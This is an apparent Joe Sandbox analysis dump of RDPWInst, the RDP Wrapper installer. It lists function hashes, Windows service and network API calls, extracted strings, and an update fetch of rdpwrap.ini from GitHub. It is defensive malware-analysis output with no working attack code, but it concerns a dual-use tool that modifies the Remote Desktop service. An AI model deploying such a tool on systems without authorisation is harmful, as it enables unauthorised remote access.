Opcode ID: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction ID: 5428b92e23564d17d1f876684be8f9c2b3243abbeaf0de8523baba27188e832a
Opcode Fuzzy Hash: 93014c2a0d15a9f7c19c06a67ffa09c9f03b47d74489f26678219aaa478409b4
Instruction Fuzzy Hash: 40B092927543401AEA0035FA0CC6F2A418CD70960AF110C3ABA42E7183D47FC8290026

Function 00409310 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,?,00000000,004093AD,?,?,?,00000000), ref: 0040937A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn
String ID:
API String ID: 97706510-0
Opcode ID: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction ID: 1f383253a52e48d77bc15eb4822a33d834d352bf49a326ca98ed7cc47a11fc89
Opcode Fuzzy Hash: f92199f7e57e2128dd250d54d35a9e3758d953fbac64912c85fa78ba761ebe9f
Instruction Fuzzy Hash: 0111C671504204EFDF21DB69CC86B9A77F8EB19754F5100BAFC40AB2D2D7B8AD008A19

Function 00402AB2 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000), ref: 00402AE3
VirtualQuery.KERNEL32(?,?,0000001C), ref: 00402B06
VirtualFree.KERNEL32(?,00000000,00008000,?,?,0000001C), ref: 00402B13

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Virtual$Free$Query
String ID:
API String ID: 778034434-0
Opcode ID: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction ID: e8ddcf902efd7f78c833b1da2340b8221ccc6e4d64c13544335dcfda98f803ee
Opcode Fuzzy Hash: d2902ee949b2c85551e00087902fb7701d80a0372c0c987194a01e681a746040
Instruction Fuzzy Hash: 0CF06D343046005FD311CB19CA89B17BBE5EFC9350F15C17AE988973E5E675DC019B9A

Non-executed Functions

Function 0043B58C Relevance: 29.9, APIs: 10, Strings: 7, Instructions: 107serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4BC
Part of subcall function 0043B48C: CloseServiceHandle.ADVAPI32(00000000,00000000,0043B52C,?,00000000,?,?,0043B6A3,?,00000000,00000000,?,00000000,00000000,00000010,00000000), ref: 0043B4D1

OpenServiceW.ADVAPI32(00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B61F
GetLastError.KERNEL32(?,00000000,00000000,00000010,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B62E

Strings

$sD, xrefs: 0043B5B6
StartService, xrefs: 0043B689, 0043B699
OpenService, xrefs: 0043B635
..., xrefs: 0043B5CD
ServicesActive, xrefs: 0043B5E3
[*] Starting , xrefs: 0043B5BB
OpenSCManager, xrefs: 0043B600

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Service$CloseErrorHandleLastOpen$Manager
String ID: $sD$...$OpenSCManager$OpenService$ServicesActive$StartService$[*] Starting
API String ID: 2257214823-3855835416
Opcode ID: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction ID: 0e693e6e1cec2ac2fe46a8ff9d209bc722a6061919d6bcedfcc5fc96e321ed9b
Opcode Fuzzy Hash: 55f0df0e7310880f6e7cb70b762c89182bbbe75636a3247ae01688996091d268
Instruction Fuzzy Hash: 6C313471A04208AEDB10FBB68842B5F77E8DB4C715F60947BF614E7283DB7C9940869E

Function 0043CF60 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(RDP Wrapper Update,00000000,00000000,00000000,00000000), ref: 0043CF9B
InternetOpenUrlW.WININET(00000000,https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini,00000000,00000000,80000000,00000000), ref: 0043CFB7
InternetCloseHandle.WININET(00000000), ref: 0043CFC3
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0043CFDB
InternetCloseHandle.WININET(00000000), ref: 0043D002
InternetCloseHandle.WININET(00000000), ref: 0043D008

Strings

https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini, xrefs: 0043CFB1
$sD, xrefs: 0043D01E, 0043CFE6, 0043CFF3
RDP Wrapper Update, xrefs: 0043CF96

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: $sD$RDP Wrapper Update$https://raw.githubusercontent.com/stascorp/rdpwrap/master/res/rdpwrap.ini
API String ID: 4294395943-3115740878
Opcode ID: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction ID: c5d90ac50beae541ecf0d1101a3828864360ef58c633fc88e2a86ac238cf1af1
Opcode Fuzzy Hash: 0dd60196e7cab0bfb1fb3172ef56b337b41d75a0cde3163acb5471a059a842a1
Instruction Fuzzy Hash: B611EC30A40204BAE725DB629C52F5E73B99B5CB08F21907AF500B61C1DAFC6D15965E

Function 00408EB9 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 81stringfileCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E8B
FindFirstFileW.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408E9E
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EB4
lstrlenW.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?), ref: 00408EC0
lstrcpynW.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?), ref: 00408EFC
lstrlenW.KERNEL32(?,?,?,00000104,?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?), ref: 00408F08
lstrcpynW.KERNEL32(?,?,?,?,?,?,00000104,?,?,?,?,?,?,00000001,?,?), ref: 00408F2B

Strings

\, xrefs: 00408ED2

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirst
String ID: \
API String ID: 426534248-2967466578
Opcode ID: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction ID: b362d454dc0c99aa6135db0f351dbab6b5904c2f5f97e8c1ae29e40b3cae7ae2
Opcode Fuzzy Hash: c2c22b4f6afaac3322ec1ba7b89a81b7c1940998765c8b0d5641ec05d20bdfa1
Instruction Fuzzy Hash: 2921DA72A005195BCB10EAA4CD89BEF736DEB84314F0845BBA554E32C1EA7CEA458B58

Function 00408908 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089B4
GetLocaleInfoW.KERNEL32(00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089D0
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,00408A6F,?,?,?,00000000), ref: 004089E1

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction ID: a5145651339b4fb3455c536bf826b1f6d015bb6bedb64d7d22cca76e959b3329
Opcode Fuzzy Hash: 22c6a01b53f4869b0805d6a69e827c795f3fdd97ab41ae37c19bcf7436934d77
Instruction Fuzzy Hash: 4031C274A00618ABDF20EB55DD81BAF77B5EB44700F1040BBA588B72D1DA7D5E40CF5A

Function 00414698 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,00443136,00000000,0044315A), ref: 004146A6

Strings

8[D, xrefs: 004146EC

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Version
String ID: 8[D
API String ID: 1889659487-4257705004
Opcode ID: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction ID: 2f0940f951a798b0a8c1b92e6229d48fd5c0b6d32f60b1d075f360ba34157daa
Opcode Fuzzy Hash: 4c73b04ee2d3421a5135ac7becaf35c551135d218803d44854ea7cc165e5ef2a
Instruction Fuzzy Hash: 7DF030B8605B419FDB00DF18E845659B7E0EB89314F00483AF485D7391D738A844CB6E

Function 0040F73C Relevance: 3.0, APIs: 2, Instructions: 23fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000,00000000), ref: 0040F757
FindClose.KERNEL32(00000000,00000000,?,00000000,?,0040F7B7,00000000,?,00447324,0043D527,00000000,0043D55E,?,00447324,0000000B,00000000), ref: 0040F762

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction ID: 44d6f2536772e544dca19d4554f13a915e571bc99722c0a0b507a91726501656
Opcode Fuzzy Hash: 8349d8abcabe035f766b9fd57bf523843a29f3c72d549b36151af9bdffc9284f
Instruction Fuzzy Hash: B9E0CD6261470815C72065B90CC9B5B728C5B04328F040BB77D5CF35D2FA3D8554115F

Function 0040FAE8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?), ref: 0040FB09

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DiskFreeSpace
String ID:
API String ID: 1705453755-0
Opcode ID: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction ID: 58712635a06311b99fbeb36610203dfa2cb34c225fc8d295b9fe620e031658d4
Opcode Fuzzy Hash: 061f37ac546520710da28799b67137028b65efc101c0d4d81ccfdcd92c7e26f4
Instruction Fuzzy Hash: DC1112B5E00209AFDB04CF99C881DAFF7F9EFC8304B14C569A508E7254E6319A018B90

Function 00412C4C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction ID: 9da8dff9c55e20549594a614ff7d844013acaeb15ab394cddf5a90cc700bc9e0
Opcode Fuzzy Hash: 7e0a8c61708f8e5fe9311120f60f8f5fdb241708797c452f410103c20568c8cd
Instruction Fuzzy Hash: 69E0927170021817E314A5695C86DEB725C9B58300F00417FBA06D7387EDB89D6046ED

Function 00412C4A Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction ID: 70141b24f99fd98ac1db3019ee377dee0462c825b9fd2fb3f3473e8324f2be5c
Opcode Fuzzy Hash: ab3a7bc9c987a33d67a9bd60b42fd60c334eb7a711f5428dc5487131ec69b403
Instruction Fuzzy Hash: 01E0DF3270031827F31495689D86EFB729C9B58300F00427BBE06D3382FDB49DA046E9

Function 00412C98 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0041524C,00000000,00415476,?,?,00000000,00000000), ref: 00412CAB

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction ID: c0299d43d85d1b47cbbe3802d462e1d0899c6c80b318dcec9f9e75b03fa43e2d
Opcode Fuzzy Hash: c8c474e4d6c9df360d6374c6a6ae5d3dec4118d646be2418b28a4789b35754d1
Instruction Fuzzy Hash: 17D05EB63092202AE210525B6E45DBF56DCCBC87A2F10443BBA48C6242E268CC5693F9

Function 00411154 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00411158

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction ID: 9e8cd4c1e66a35051b5eb1694121f13696e39ccab0ec977751e8beb904ec194d
Opcode Fuzzy Hash: e8d3b386f6a7d5cca3471eaf155d8864694d2401fe0684cb90b003475a380097
Instruction Fuzzy Hash: D1A0110080882002C2803B2A0C032383080A800A30FC80BAAB8F8A02E2EA2E023088AB

Function 00417D30 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(oleaut32.dll), ref: 00417D39

Part of subcall function 00417D04: GetProcAddress.KERNEL32(00000000), ref: 00417D1D

Strings

VarBoolFromStr, xrefs: 00417ED3
VarR4FromStr, xrefs: 00417E7B
VarNot, xrefs: 00417D73
VarDateFromStr, xrefs: 00417EA7
VarCyFromStr, xrefs: 00417EBD
VarI4FromStr, xrefs: 00417E65
VarMod, xrefs: 00417DF7
VarOr, xrefs: 00417E23
VarAnd, xrefs: 00417E0D
VarXor, xrefs: 00417E39
VariantChangeTypeEx, xrefs: 00417D47
oleaut32.dll, xrefs: 00417D34
VarBstrFromDate, xrefs: 00417EFF
VarBstrFromBool, xrefs: 00417F15
VarMul, xrefs: 00417DB5
VarNeg, xrefs: 00417D5D
VarDiv, xrefs: 00417DCB
VarIdiv, xrefs: 00417DE1
VarCmp, xrefs: 00417E4F
VarAdd, xrefs: 00417D89
VarSub, xrefs: 00417D9F
VarR8FromStr, xrefs: 00417E91
VarBstrFromCy, xrefs: 00417EE9

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction ID: c99ab9519c0edb256345e3c1c1fceae5193512a11a1c4a98270a3cb03c9355dc
Opcode Fuzzy Hash: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction Fuzzy Hash: 25412575A4C2085A5305AB6EB8018FA77B9DA86324374D07FF5088B745DF7CACC2876D

Function 0043AE28 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 140serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE85
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE90
OpenServiceW.ADVAPI32(00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AED6
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE2
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE7

Strings

$sD, xrefs: 0043AE51, 0043AE9D, 0043AEF4, 0043AF33, 0043AF94
[-] QueryServiceConfig error (code , xrefs: 0043AF99
..., xrefs: 0043AE68
[-] QueryServiceConfig failed., xrefs: 0043AF38
[*] Checking , xrefs: 0043AE56
[-] OpenService error (code , xrefs: 0043AEF9
ServicesActive, xrefs: 0043AE7E
[-] OpenSCManager error (code , xrefs: 0043AEA2

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

